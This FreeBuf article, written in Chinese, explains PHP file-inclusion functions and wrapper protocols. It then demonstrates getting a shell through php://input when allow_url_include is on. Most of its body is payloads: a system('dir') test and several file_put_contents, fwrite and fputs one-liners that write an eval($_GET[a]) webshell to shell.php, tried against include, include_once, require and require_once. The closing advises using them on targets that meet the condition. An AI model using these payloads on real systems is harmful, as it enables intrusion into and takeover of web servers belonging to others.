freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

通过PHP文件包含,实现getshell
独爱dy71 2023-06-02 23:08:10 166742
所属地 贵州省


一、导言

在PHP中,有以下几个函数可以实现文件包含

(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once与 include_once类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含

而有了文件包含漏洞后,我们可以上传图片马绕过一些waf的检测,实现getshell,相同的,我们也可以使用PHP内置的伪协议,实现更多的操作

二、PHP伪协议

1、file:// 访问本地文件系统

2、php:// 访问各个输入/输出流

3、data:// 数据(RFC 2397)

4、zip// 压缩流

5、phar:// php归档文件

附一张其它大佬哪里得的图

三、开始使用php://input伪协议进行实验

1、include()

此伪协议可以实现POST部分传输数据,与是呼就成了getshell佳选,当然,测试前,要开启几个配置

条件:php版本的ini中开启 allow_url_include = On

接着便开始我们的实验

测试源代码函数:include()

1685717270_647a0116254b114e44741.png!small?1685717264933

测试是否开启成功

payload1:<?php system("dir");?>

1685717289_647a0129ec88378c76be7.png!small?1685717284899

配置已开启完毕,测试

payload2:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>

1685717873_647a037169846e00aaf22.png!small?1685717868262

发现无反应,但是我们来到根目录

发现成功写入,解释一下file_put_contents(文件名,数据)函数

将字符串写入文件,当文件存在时就写入,不存在时,先创建文件在写入。

其次$符号要用\进行转义,因为$符号在PHP中属于定义变量的意思

接着尝试

payload3:<?php fwrite(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>

1685717998_647a03ee6652bd1c9c976.png!small?1685717993239

也是无反应,但是来到根目录

成功写入

函数fopen(),fwrite解释,

fopen(文件名,写入模式),当写入模式为 r 时,找到指定文件名进行写入,找不到就报错,w则是自己创建文件

fwrite(文件名,数据),指定文件名进行写入,无文件时则报错

接着

payload4:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>

1685717928_647a03a8e09358e0e06a3.png!small?1685717925317

无反应,看向网站根目录

  • 成功写入,fputs()函数将内容写入一个打开的文件中

fputs(file,string,length),找到指定文件名,找不到即报错,string,写入数据,length可有可无

2、include_once

函数代码:

好,开始上payload进行测试

payload1:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>

1685717935_647a03afa8f43696adc48.png!small?1685717930530

网站根目录,

成功上传

payload2:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>

1685717889_647a03814f89b43047c36.png!small?1685717884203

网站根目录,同样成功

3、require

测试代码:

测试payload:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>

1685717955_647a03c3d939669ed3ee4.png!small?1685717950681

网站无反应,但是看看根目录

成功写入

4、require_once

测试代码:

测试payload:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>

无反应,接着查看根目录

成功写入。

结语:

当然生活中如果遇见对方开启php://input必须条件时,可以尝试上述payload实现getshell,或者发掘更多PHP函数实现,如果遇不见对方开启条件时,便可以尝试其它伪协议,如file://, php://filter等实现读文件

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独爱dy71 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
独爱dy71 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 5 关注者
记一次SRC漏洞挖掘中的逻辑漏洞
2023-08-25
与某src厂商斗智斗勇最终拿到赏金
2023-06-13
文章目录